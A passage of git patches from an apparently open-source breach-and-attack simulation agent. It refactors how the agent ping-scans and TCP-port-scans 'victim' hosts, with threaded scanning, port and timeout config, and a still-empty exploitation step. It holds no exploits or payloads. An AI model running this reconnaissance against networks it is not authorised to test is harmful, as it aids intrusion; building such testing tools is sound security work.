_ping_ip(self, ip: str, victim_host: VictimHost): + (response_received, os) = self._puppet.ping(ip) + + victim_host.icmp = response_received + if os is not None: + victim_host.os["type"] = os + + def _scan_tcp_ports(self, ip: str, ports: List[int], victim_host: VictimHost): + for p in ports: + if self._stop.is_set(): + break + + port_scan_data = self._puppet.scan_tcp_port(ip, p) + if port_scan_data.status == PortStatus.OPEN: + victim_host.services[port_scan_data.service] = {} + victim_host.services[port_scan_data.service]["display_name"] = "unknown(TCP)" + victim_host.services[port_scan_data.service]["port"] = port_scan_data.port + if port_scan_data.banner is not None: + victim_host.services[port_scan_data.service]["banner"] = port_scan_data.banner + def _run_payload(self, payload: Tuple[str, Dict]): name = payload[0] options = payload[1] From 56e71f3120545fab794f562981efc1b67b8073e3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Dec 2021 14:59:35 -0500 Subject: [PATCH 0116/1110] Agent: Remove PingScanner from fingerprinter list The ping scanner is currently required by the monkey agent in order to determine the OS of the victim. In the future, scanning can be reworked to be more configurable under a variety of different scenarios. For the moment, it's not optional. --- monkey/infection_monkey/example.conf | 1 - .../services/config_schema/definitions/finger_classes.py | 7 ------- monkey/monkey_island/cc/services/config_schema/internal.py | 1 - .../tests/data_for_tests/monkey_configs/flat_config.json | 1 - .../monkey_configs/monkey_config_standard.json | 1 - 5 files changed, 11 deletions(-) diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index dcb3b3138..42b37ddf4 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -36,7 +36,6 @@ ], "finger_classes": [ "SSHFinger", - "PingScanner", "HTTPFinger", "SMBFinger", "MySQLFinger", diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index 6389f1b13..5daa90672 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -20,13 +20,6 @@ FINGER_CLASSES = { "info": "Figures out if SSH is running.", "attack_techniques": ["T1210"], }, - { - "type": "string", - "enum": ["PingScanner"], - "title": "Ping Scanner", - "safe": True, - "info": "Tries to identify if host is alive and which OS it's running by ping scan.", - }, { "type": "string", "enum": ["HTTPFinger"], diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index a145233f9..92bacf669 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -165,7 +165,6 @@ INTERNAL = { "default": [ "SMBFinger", "SSHFinger", - "PingScanner", "HTTPFinger", "MySQLFinger", "MSSQLFinger", diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index 8f024b9b9..8edb45a86 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -65,7 +65,6 @@ "finger_classes": [ "SMBFinger", "SSHFinger", - "PingScanner", "HTTPFinger", "MySQLFinger", "MSSQLFinger", diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index ba16a75ae..107f17e5c 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -100,7 +100,6 @@ "finger_classes": [ "SMBFinger", "SSHFinger", - "PingScanner", "HTTPFinger", "MySQLFinger", "MSSQLFinger", From c497962d9ee61298b39ce59ca9c540360a07c126 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Dec 2021 15:28:10 -0500 Subject: [PATCH 0117/1110] Island: Reformat network scan parameters before sending to agent --- monkey/monkey_island/cc/services/config.py | 86 ++++++++++++++++++- .../monkey_configs/flat_config.json | 6 +- .../monkey_island/cc/services/test_config.py | 44 ++++++++++ 3 files changed, 132 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 1daec8a76..3bc0a4f16 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -2,7 +2,7 @@ import collections import copy import functools import logging -from typing import Dict +from typing import Dict, List from jsonschema import Draft4Validator, validators @@ -419,6 +419,7 @@ class ConfigService: ConfigService._remove_credentials_from_flat_config(config) ConfigService._format_payloads_from_flat_config(config) ConfigService._format_pbas_from_flat_config(config) + ConfigService._format_network_scan_from_flat_config(config) @staticmethod def _remove_credentials_from_flat_config(config: Dict): @@ -462,3 +463,86 @@ class ConfigService: config.pop(flat_linux_filename_field, None) config.pop(flat_windows_command_field, None) config.pop(flat_windows_filename_field, None) + + @staticmethod + def _format_network_scan_from_flat_config(config: Dict): + formatted_network_scan_config = {"tcp": {}, "icmp": {}, "targets": {}} + + formatted_network_scan_config["tcp"] = ConfigService._format_tcp_scan_from_flat_config( + config + ) + formatted_network_scan_config["icmp"] = ConfigService._format_icmp_scan_from_flat_config( + config + ) + formatted_network_scan_config[ + "targets" + ] = ConfigService._format_scan_targets_from_flat_config(config) + + config["network_scan"] = formatted_network_scan_config + + @staticmethod + def _format_tcp_scan_from_flat_config(config: Dict): + flat_http_ports_field = "HTTP_PORTS" + flat_tcp_timeout_field = "tcp_scan_timeout" + flat_tcp_ports_field = "tcp_target_ports" + + formatted_tcp_scan_config = {} + + formatted_tcp_scan_config["timeout"] = config[flat_tcp_timeout_field] + + ports = ConfigService._union_tcp_and_http_ports( + config[flat_tcp_ports_field], config[flat_http_ports_field] + ) + formatted_tcp_scan_config["ports"] = ports + + # Do not remove HTTP_PORTS field. Other components besides scanning need it. + config.pop(flat_tcp_timeout_field, None) + config.pop(flat_tcp_ports_field, None) + + return formatted_tcp_scan_config + + @staticmethod + def _union_tcp_and_http_ports(tcp_ports: List[int], http_ports: List[int]) -> List[int]: + combined_ports = list(set(tcp_ports) | set(http_ports)) + + return sorted(combined_ports) + + @staticmethod + def _format_icmp_scan_from_flat_config(config: Dict): + flat_ping_timeout_field = "ping_scan_timeout" + + formatted_icmp_scan_config = {} + formatted_icmp_scan_config["timeout"] = config[flat_ping_timeout_field] + + config.pop(flat_ping_timeout_field, None) + + return formatted_icmp_scan_config + + @staticmethod + def _format_scan_targets_from_flat_config(config: Dict): + flat_blocked_ips_field = "blocked_ips" + flat_inaccessible_subnets_field = "inaccessible_subnets" + flat_local_network_scan_field = "local_network_scan" + flat_subnet_scan_list_field = "subnet_scan_list" + + formatted_scan_targets_config = {} + + formatted_scan_targets_config[flat_blocked_ips_field] = config[ + flat_blocked_ips_field + ] + formatted_scan_targets_config[flat_inaccessible_subnets_field] = config[ + flat_inaccessible_subnets_field + ] + formatted_scan_targets_config[flat_local_network_scan_field] = config[ + flat_local_network_scan_field + ] + formatted_scan_targets_config[flat_subnet_scan_list_field] = config[ + flat_subnet_scan_list_field + ] + + config.pop(flat_blocked_ips_field, None) + config.pop(flat_inaccessible_subnets_field, None) + config.pop(flat_local_network_scan_field, None) + config.pop(flat_subnet_scan_list_field, None) + + return formatted_scan_targets_config diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index 8edb45a86..031dfd35a 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -13,7 +13,7 @@ "aws_access_key_id": "", "aws_secret_access_key": "", "aws_session_token": "", - "blocked_ips": [], + "blocked_ips": ["192.168.1.1", "192.168.1.100"], "command_servers": [ "10.197.94.72:5000" ], @@ -70,7 +70,7 @@ "MSSQLFinger", "ElasticFinger" ], - "inaccessible_subnets": [], + "inaccessible_subnets": ["10.0.0.0/24", "10.0.10.0/24"], "keep_tunnel_open_time": 60, "local_network_scan": true, "max_depth": null, @@ -100,7 +100,7 @@ "skip_exploit_if_file_exist": false, "smb_download_timeout": 300, "smb_service_name": "InfectionMonkey", - "subnet_scan_list": [], + "subnet_scan_list": ["192.168.1.50", "192.168.56.0/24", "10.0.33.0/30"], "system_info_collector_classes": [ "AwsCollector", "ProcessListCollector", diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index 1aece8180..ec78ad054 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -93,3 +93,47 @@ def test_get_config_propagation_credentials_from_flat_config(flat_monkey_config) creds = ConfigService.get_config_propagation_credentials_from_flat_config(flat_monkey_config) assert creds == expected_creds + + +def test_format_config_for_agent__network_scan(flat_monkey_config): + expected_network_scan_config = { + "tcp": { + "timeout": 3000, + "ports": [ + 22, + 80, + 135, + 443, + 445, + 2222, + 3306, + 3389, + 7001, + 8008, + 8080, + 8088, + 9200, + ], + }, + "icmp": { + "timeout": 1000, + }, + "targets": { + "blocked_ips": ["192.168.1.1", "192.168.1.100"], + "inaccessible_subnets": ["10.0.0.0/24", "10.0.10.0/24"], + "local_network_scan": True, + "subnet_scan_list": ["192.168.1.50", "192.168.56.0/24", "10.0.33.0/30"], + }, + } + ConfigService.format_flat_config_for_agent(flat_monkey_config) + + assert "network_scan" in flat_monkey_config + assert flat_monkey_config["network_scan"] == expected_network_scan_config + + assert "tcp_scan_timeout" not in flat_monkey_config + assert "tcp_target_ports" not in flat_monkey_config + assert "ping_scan_timeout" not in flat_monkey_config + assert "blocked_ips" not in flat_monkey_config + assert "inaccessible_subnets" not in flat_monkey_config + assert "local_network_scan" not in flat_monkey_config + assert "subnet_scan_list" not in flat_monkey_config From 8c47d113c3322783b0e39baa76a2f1c10e78000f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Dec 2021 15:45:46 -0500 Subject: [PATCH 0118/1110] Agent: Add "options" parameter to IPuppet.ping() --- monkey/infection_monkey/i_puppet.py | 2 +- monkey/infection_monkey/puppet/mock_puppet.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/i_puppet.py b/monkey/infection_monkey/i_puppet.py index d9d225b7b..03ce3999f 100644 --- a/monkey/infection_monkey/i_puppet.py +++ b/monkey/infection_monkey/i_puppet.py @@ -35,7 +35,7 @@ class IPuppet(metaclass=abc.ABCMeta): """ @abc.abstractmethod - def ping(self, host: str) -> Tuple[bool, Optional[str]]: + def ping(self, host: str, options: Dict) -> Tuple[bool, Optional[str]]: """ Sends a ping (ICMP packet) to a remote host :param str host: The domain name or IP address of a host diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 3a32f3718..a606e7043 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -155,7 +155,7 @@ class MockPuppet(IPuppet): else: return PostBreachData("pba command 2", ["pba result 2", False]) - def ping(self, host: str) -> Tuple[bool, Optional[str]]: + def ping(self, host: str, options: Dict) -> Tuple[bool, Optional[str]]: logger.debug(f"run_ping({host})") if host == DOT_1: return (True, "windows") From 25410716d3a8f11aaa05c309a980c120cef40e99 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Dec 2021 15:46:12 -0500 Subject: [PATCH 0119/1110] Agent: Integrate scan configuration with network scanning thread --- .../master/automated_master.py | 20 +++++++++---------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index fb97e9978..3809002aa 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -160,7 +160,7 @@ class AutomatedMaster(IMaster): hosts_to_exploit = Queue() scan_thread = _create_daemon_thread( - target=self._scan_network, args=(config, hosts_to_exploit) + target=self._scan_network, args=(config["network_scan"], hosts_to_exploit) ) exploit_thread = _create_daemon_thread( target=self._exploit_targets, args=(hosts_to_exploit, scan_thread) @@ -208,11 +208,8 @@ class AutomatedMaster(IMaster): victim_host = VictimHost(ip) - self._ping_ip(ip, victim_host) - - # TODO: get ports from config - ports = [22, 445, 3389, 8008] - self._scan_tcp_ports(ip, ports, victim_host) + self._ping_ip(ip, victim_host, scan_config["icmp"]) + self._scan_tcp_ports(ip, victim_host, scan_config["tcp"]) hosts_to_exploit.put(hosts_to_exploit) self._telemetry_messenger.send_telemetry(ScanTelem(victim_host)) @@ -224,19 +221,20 @@ class AutomatedMaster(IMaster): logger.debug(f"Detected the stop signal, scanning thread {threading.get_ident()} exiting") - def _ping_ip(self, ip: str, victim_host: VictimHost): - (response_received, os) = self._puppet.ping(ip) + def _ping_ip(self, ip: str, victim_host: VictimHost, options: Dict): + (response_received, os) = self._puppet.ping(ip, options) victim_host.icmp = response_received if os is not None: victim_host.os["type"] = os - def _scan_tcp_ports(self, ip: str, ports: List[int], victim_host: VictimHost): - for p in ports: + def _scan_tcp_ports(self, ip: str, victim_host: VictimHost, options: Dict): + for p in options["ports"]: if self._stop.is_set(): break - port_scan_data = self._puppet.scan_tcp_port(ip, p) + # TODO: check units of timeout + port_scan_data = self._puppet.scan_tcp_port(ip, p, options["timeout"]) if port_scan_data.status == PortStatus.OPEN: victim_host.services[port_scan_data.service] = {} victim_host.services[port_scan_data.service]["display_name"] = "unknown(TCP)" From da8e814b95988f166d4ca513e9755320a9a54466 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 9 Dec 2021 14:29:05 -0500 Subject: [PATCH 0120/1110] Island: Add units TCP and ICMP timeout option The timeout option for TCP and ICMP scans is in milliseconds. Change "timeout" -> "timeout_ms" to avoid confusion. --- monkey/infection_monkey/master/automated_master.py | 2 +- monkey/monkey_island/cc/services/config.py | 8 +++----- .../unit_tests/monkey_island/cc/services/test_config.py | 4 ++-- 3 files changed, 6 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 3809002aa..7d8258a6d 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -234,7 +234,7 @@ class AutomatedMaster(IMaster): break # TODO: check units of timeout - port_scan_data = self._puppet.scan_tcp_port(ip, p, options["timeout"]) + port_scan_data = self._puppet.scan_tcp_port(ip, p, options["timeout_ms"]) if port_scan_data.status == PortStatus.OPEN: victim_host.services[port_scan_data.service] = {} victim_host.services[port_scan_data.service]["display_name"] = "unknown(TCP)" diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 3bc0a4f16..3215af091 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -488,7 +488,7 @@ class ConfigService: formatted_tcp_scan_config = {} - formatted_tcp_scan_config["timeout"] = config[flat_tcp_timeout_field] + formatted_tcp_scan_config["timeout_ms"] = config[flat_tcp_timeout_field] ports = ConfigService._union_tcp_and_http_ports( config[flat_tcp_ports_field], config[flat_http_ports_field] @@ -512,7 +512,7 @@ class ConfigService: flat_ping_timeout_field = "ping_scan_timeout" formatted_icmp_scan_config = {} - formatted_icmp_scan_config["timeout"] = config[flat_ping_timeout_field] + formatted_icmp_scan_config["timeout_ms"] = config[flat_ping_timeout_field] config.pop(flat_ping_timeout_field, None) @@ -527,9 +527,7 @@ class ConfigService: formatted_scan_targets_config = {} - formatted_scan_targets_config[flat_blocked_ips_field] = config[ - flat_blocked_ips_field - ] + formatted_scan_targets_config[flat_blocked_ips_field] = config[flat_blocked_ips_field] formatted_scan_targets_config[flat_inaccessible_subnets_field] = config[ flat_inaccessible_subnets_field ] diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index ec78ad054..8537ee233 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -98,7 +98,7 @@ def test_get_config_propagation_credentials_from_flat_config(flat_monkey_config) def test_format_config_for_agent__network_scan(flat_monkey_config): expected_network_scan_config = { "tcp": { - "timeout": 3000, + "timeout_ms": 3000, "ports": [ 22, 80, @@ -116,7 +116,7 @@ def test_format_config_for_agent__network_scan(flat_monkey_config): ], }, "icmp": { - "timeout": 1000, + "timeout_ms": 1000, }, "targets": { "blocked_ips": ["192.168.1.1", "192.168.1.100"], From 86203c81383358fd2d16a238fe5c79500536362d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 9 Dec 2021 14:56:54 -0500 Subject: [PATCH 0121/1110] Agent: Add AutomatedMaster to master/__init__.py --- monkey/infection_monkey/master/__init__.py | 1 + .../infection_monkey/master/test_automated_master.py | 3 ++- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/__init__.py b/monkey/infection_monkey/master/__init__.py index e69de29bb..6d3942abd 100644 --- a/monkey/infection_monkey/master/__init__.py +++ b/monkey/infection_monkey/master/__init__.py @@ -0,0 +1 @@ +from .automated_master import AutomatedMaster diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py index 2ae9ae5d4..1610e752b 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py @@ -1,4 +1,5 @@ -from infection_monkey.master.automated_master import AutomatedMaster +from infection_monkey.master import AutomatedMaster + def test_terminate_without_start(): m = AutomatedMaster(None, None, None) From 3f7dbbccc204400f3b939ef2cea3d5cfb8751b55 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 9 Dec 2021 15:26:35 -0500 Subject: [PATCH 0122/1110] Agent: Move _create_daemon_thread to threading_utils.py --- .../master/automated_master.py | 24 +++++++++---------- .../master/threading_utils.py | 6 +++++ 2 files changed, 17 insertions(+), 13 deletions(-) create mode 100644 monkey/infection_monkey/master/threading_utils.py diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 7d8258a6d..7a72faca0 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -16,6 +16,8 @@ from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem from infection_monkey.utils.timer import Timer +from .threading_utils import create_daemon_thread + CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC = 5 CHECK_FOR_TERMINATE_INTERVAL_SEC = CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC / 5 SHUTDOWN_TIMEOUT = 5 @@ -36,8 +38,8 @@ class AutomatedMaster(IMaster): self._control_channel = control_channel self._stop = threading.Event() - self._master_thread = _create_daemon_thread(target=self._run_master_thread) - self._simulation_thread = _create_daemon_thread(target=self._run_simulation) + self._master_thread = create_daemon_thread(target=self._run_master_thread) + self._simulation_thread = create_daemon_thread(target=self._run_simulation) def start(self): logger.info("Starting automated breach and attack simulation") @@ -93,7 +95,7 @@ class AutomatedMaster(IMaster): def _run_simulation(self): config = self._control_channel.get_config() - system_info_collector_thread = _create_daemon_thread( + system_info_collector_thread = create_daemon_thread( target=self._run_plugins, args=( config["system_info_collector_classes"], @@ -101,7 +103,7 @@ class AutomatedMaster(IMaster): self._collect_system_info, ), ) - pba_thread = _create_daemon_thread( + pba_thread = create_daemon_thread( target=self._run_plugins, args=(config["post_breach_actions"].items(), "post-breach action", self._run_pba), ) @@ -116,11 +118,11 @@ class AutomatedMaster(IMaster): # system_info_collector_thread.join() if self._can_propagate(): - propagation_thread = _create_daemon_thread(target=self._propagate, args=(config,)) + propagation_thread = create_daemon_thread(target=self._propagate, args=(config,)) propagation_thread.start() propagation_thread.join() - payload_thread = _create_daemon_thread( + payload_thread = create_daemon_thread( target=self._run_plugins, args=(config["payloads"].items(), "payload", self._run_payload), ) @@ -159,10 +161,10 @@ class AutomatedMaster(IMaster): hosts_to_exploit = Queue() - scan_thread = _create_daemon_thread( + scan_thread = create_daemon_thread( target=self._scan_network, args=(config["network_scan"], hosts_to_exploit) ) - exploit_thread = _create_daemon_thread( + exploit_thread = create_daemon_thread( target=self._exploit_targets, args=(hosts_to_exploit, scan_thread) ) @@ -188,7 +190,7 @@ class AutomatedMaster(IMaster): scan_threads = [] for i in range(0, NUM_SCAN_THREADS): - t = _create_daemon_thread( + t = create_daemon_thread( target=self._scan_ips, args=(ips_to_scan, scan_config, hosts_to_exploit) ) t.start() @@ -263,7 +265,3 @@ class AutomatedMaster(IMaster): def cleanup(self): pass - - -def _create_daemon_thread(target: Callable[[Any], None], args: Tuple[Any] = ()): - return Thread(target=target, args=args, daemon=True) diff --git a/monkey/infection_monkey/master/threading_utils.py b/monkey/infection_monkey/master/threading_utils.py new file mode 100644 index 000000000..5c7da9363 --- /dev/null +++ b/monkey/infection_monkey/master/threading_utils.py @@ -0,0 +1,6 @@ +from threading import Thread +from typing import Any, Callable, Tuple + + +def create_daemon_thread(target: Callable[[Any], None], args: Tuple[Any] = ()): + return Thread(target=target, args=args, daemon=True) From 81d4afab5248845f7bdb0c79700b6f873636d85c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 9 Dec 2021 20:59:42 -0500 Subject: [PATCH 0123/1110] Agent: Extract network scanner into its own class --- monkey/infection_monkey/master/__init__.py | 1 + .../master/automated_master.py | 89 +++-------- monkey/infection_monkey/master/ip_scanner.py | 100 ++++++++++++ .../master/test_network_scanner.py | 146 ++++++++++++++++++ 4 files changed, 270 insertions(+), 66 deletions(-) create mode 100644 monkey/infection_monkey/master/ip_scanner.py create mode 100644 monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py diff --git a/monkey/infection_monkey/master/__init__.py b/monkey/infection_monkey/master/__init__.py index 6d3942abd..bf8e1775c 100644 --- a/monkey/infection_monkey/master/__init__.py +++ b/monkey/infection_monkey/master/__init__.py @@ -1 +1,2 @@ +from .ip_scanner import IPScanner from .automated_master import AutomatedMaster diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 7a72faca0..bc304d2d8 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -1,5 +1,4 @@ import logging -import queue import threading import time from queue import Queue @@ -8,7 +7,7 @@ from typing import Any, Callable, Dict, List, Tuple from infection_monkey.i_control_channel import IControlChannel from infection_monkey.i_master import IMaster -from infection_monkey.i_puppet import IPuppet, PortStatus +from infection_monkey.i_puppet import IPuppet from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.post_breach_telem import PostBreachTelem @@ -16,6 +15,7 @@ from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem from infection_monkey.utils.timer import Timer +from . import IPScanner from .threading_utils import create_daemon_thread CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC = 5 @@ -37,6 +37,9 @@ class AutomatedMaster(IMaster): self._telemetry_messenger = telemetry_messenger self._control_channel = control_channel + self._ip_scanner = IPScanner(self._puppet, NUM_SCAN_THREADS) + self._hosts_to_exploit = None + self._stop = threading.Event() self._master_thread = create_daemon_thread(target=self._run_master_thread) self._simulation_thread = create_daemon_thread(target=self._run_simulation) @@ -156,17 +159,16 @@ class AutomatedMaster(IMaster): def _can_propagate(self): return True + # TODO: Refactor propagation into its own class def _propagate(self, config: Dict): logger.info("Attempting to propagate") - hosts_to_exploit = Queue() + self._hosts_to_exploit = Queue() scan_thread = create_daemon_thread( - target=self._scan_network, args=(config["network_scan"], hosts_to_exploit) - ) - exploit_thread = create_daemon_thread( - target=self._exploit_targets, args=(hosts_to_exploit, scan_thread) + target=self._scan_network, args=(config["network_scan"],) ) + exploit_thread = create_daemon_thread(target=self._exploit_targets, args=(scan_thread,)) scan_thread.start() exploit_thread.start() @@ -176,73 +178,28 @@ class AutomatedMaster(IMaster): logger.info("Finished attempting to propagate") - def _exploit_targets(self, hosts_to_exploit: Queue, scan_thread: Thread): - pass - - # TODO: Refactor this into its own class - def _scan_network(self, scan_config: Dict, hosts_to_exploit: Queue): + def _scan_network(self, scan_config: Dict): logger.info("Starting network scan") # TODO: Generate list of IPs to scan - ips_to_scan = Queue() - for i in range(1, 255): - ips_to_scan.put(f"10.0.0.{i}") + ips_to_scan = [f"10.0.0.{i}" for i in range(1, 255)] - scan_threads = [] - for i in range(0, NUM_SCAN_THREADS): - t = create_daemon_thread( - target=self._scan_ips, args=(ips_to_scan, scan_config, hosts_to_exploit) - ) - t.start() - scan_threads.append(t) - - for t in scan_threads: - t.join() + self._ip_scanner.scan( + ips_to_scan, + scan_config["icmp"], + scan_config["tcp"], + self._handle_scanned_host, + self._stop, + ) logger.info("Finished network scan") - def _scan_ips(self, ips_to_scan: Queue, scan_config: Dict, hosts_to_exploit: Queue): - logger.debug(f"Starting scan thread -- Thread ID: {threading.get_ident()}") - try: - while not self._stop.is_set(): - ip = ips_to_scan.get_nowait() - logger.info(f"Scanning {ip}") + def _handle_scanned_host(self, host: VictimHost): + self._hosts_to_exploit.put(host) + self._telemetry_messenger.send_telemetry(ScanTelem(host)) - victim_host = VictimHost(ip) - - self._ping_ip(ip, victim_host, scan_config["icmp"]) - self._scan_tcp_ports(ip, victim_host, scan_config["tcp"]) - - hosts_to_exploit.put(hosts_to_exploit) - self._telemetry_messenger.send_telemetry(ScanTelem(victim_host)) - - except queue.Empty: - logger.debug( - f"ips_to_scan queue is empty, scanning thread {threading.get_ident()} exiting" - ) - - logger.debug(f"Detected the stop signal, scanning thread {threading.get_ident()} exiting") - - def _ping_ip(self, ip: str, victim_host: VictimHost, options: Dict): - (response_received, os) = self._puppet.ping(ip, options) - - victim_host.icmp = response_received - if os is not None: - victim_host.os["type"] = os - - def _scan_tcp_ports(self, ip: str, victim_host: VictimHost, options: Dict): - for p in options["ports"]: - if self._stop.is_set(): - break - - # TODO: check units of timeout - port_scan_data = self._puppet.scan_tcp_port(ip, p, options["timeout_ms"]) - if port_scan_data.status == PortStatus.OPEN: - victim_host.services[port_scan_data.service] = {} - victim_host.services[port_scan_data.service]["display_name"] = "unknown(TCP)" - victim_host.services[port_scan_data.service]["port"] = port_scan_data.port - if port_scan_data.banner is not None: - victim_host.services[port_scan_data.service]["banner"] = port_scan_data.banner + def _exploit_targets(self, scan_thread: Thread): + pass def _run_payload(self, payload: Tuple[str, Dict]): name = payload[0] diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py new file mode 100644 index 000000000..61329ef5d --- /dev/null +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -0,0 +1,100 @@ +import logging +import queue +import threading +from queue import Queue +from threading import Event +from typing import Callable, Dict, List + +from infection_monkey.i_puppet import IPuppet, PortStatus +from infection_monkey.model.host import VictimHost + +from .threading_utils import create_daemon_thread + +logger = logging.getLogger() + +Callback = Callable[[VictimHost], None] + + +class IPScanner: + def __init__(self, puppet: IPuppet, num_workers: int): + self._puppet = puppet + self._num_workers = num_workers + + def scan( + self, + ips: List[str], + icmp_config: Dict, + tcp_config: Dict, + report_results_callback: Callback, + stop: Event, + ): + # Pre-fill a Queue with all IPs so that threads can safely exit when the queue is empty. + ips_to_scan = Queue() + for ip in ips: + ips_to_scan.put(ip) + + scan_ips_args = ( + ips_to_scan, + icmp_config, + tcp_config, + report_results_callback, + stop, + ) + scan_threads = [] + for i in range(0, self._num_workers): + t = create_daemon_thread(target=self._scan_ips, args=scan_ips_args) + t.start() + scan_threads.append(t) + + for t in scan_threads: + t.join() + + def _scan_ips( + self, + ips_to_scan: Queue, + icmp_config: Dict, + tcp_config: Dict, + report_results_callback: Callback, + stop: Event, + ): + logger.debug(f"Starting scan thread -- Thread ID: {threading.get_ident()}") + + try: + while not stop.is_set(): + ip = ips_to_scan.get_nowait() + logger.info(f"Scanning {ip}") + + victim_host = VictimHost(ip) + + self._ping_ip(ip, victim_host, icmp_config) + self._scan_tcp_ports(ip, victim_host, tcp_config, stop) + + report_results_callback(victim_host) + + except queue.Empty: + logger.debug( + f"ips_to_scan queue is empty, scanning thread {threading.get_ident()} exiting" + ) + return + + logger.debug(f"Detected the stop signal, scanning thread {threading.get_ident()} exiting") + + def _ping_ip(self, ip: str, victim_host: VictimHost, options: Dict): + (response_received, os) = self._puppet.ping(ip, options) + + victim_host.icmp = response_received + if os is not None: + victim_host.os["type"] = os + + def _scan_tcp_ports(self, ip: str, victim_host: VictimHost, options: Dict, stop: Event): + for p in options["ports"]: + if stop.is_set(): + break + + port_scan_data = self._puppet.scan_tcp_port(ip, p, options["timeout_ms"]) + if port_scan_data.status == PortStatus.OPEN: + victim_host.services[port_scan_data.service] = {} + victim_host.services[port_scan_data.service]["display_name"] = "unknown(TCP)" + victim_host.services[port_scan_data.service]["port"] = port_scan_data.port + if port_scan_data.banner is not None: + victim_host.services[port_scan_data.service]["banner"] = port_scan_data.banner diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py b/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py new file mode 100644 index 000000000..f73b5f39a --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py @@ -0,0 +1,146 @@ +from threading import Barrier, Event +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.i_puppet import PortScanData +from infection_monkey.master import IPScanner +from 